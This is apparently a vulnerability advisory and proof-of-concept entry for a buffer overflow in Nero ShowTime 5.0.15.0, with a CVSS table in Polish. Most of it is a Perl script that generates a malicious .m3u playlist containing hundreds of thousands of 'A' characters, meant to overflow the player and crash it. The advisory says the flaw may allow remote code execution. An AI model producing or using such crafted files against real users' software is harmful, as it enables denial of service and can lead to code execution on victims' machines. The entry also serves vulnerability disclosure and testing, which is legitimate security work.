Nero ShowTime m3u Playlist File Remote Buffer Overflow PoC

Credit: LiquidWorm
Risk: High
Local: No
Remote: Yes
CWE: CWE-119

Ogólna skala CVSS: 9.3/10
Znaczenie: 10/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

#!/usr/bin/perl -w # # Nero ShowTime v5.0.15.0 m3u Playlist File Remote Buffer Overflow PoC # # Summary: Nero ShowTime provides you with a high-performance software DVD player # that takes you to a new dimension in DVD's. Its cinema-like sound and excellent image # quality for all digital pictures make an adventure of every film! What is more, Nero ShowTime # supports all DVD-Video formats and can play them from a disc and from the hard drive. # # Product web page: # # Description: Nero ShowTime is prone to a buffer-overflow vulnerability because it fails # to perform adequate boundary checks on user-supplied input. Successfully exploiting # these issues may allow remote attackers to execute arbitrary code in the context of the # application. Failed exploit attempts will cause denial-of-service conditions. Nero ShowTime # is vulnerable, prior versions may also be affected. # # Tested on Microsoft Windows XP Professional SP2 (English) # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # # liquidworm [ t00t ] gmail [ d0t ] com # # 24.11.2008 # $filename = "Jackie_Chan.m3u"; $mana = "A" x 432809; print "\n\n[*] Creating evul playlist: $filename ...\r\n"; sleep(3); open(m3u, ">./$filename") || die "\n\aCannot open $filename: $!"; print m3u "$mana"; close (m3u); print "\n[*] Playlist file successfully created!\r\n";


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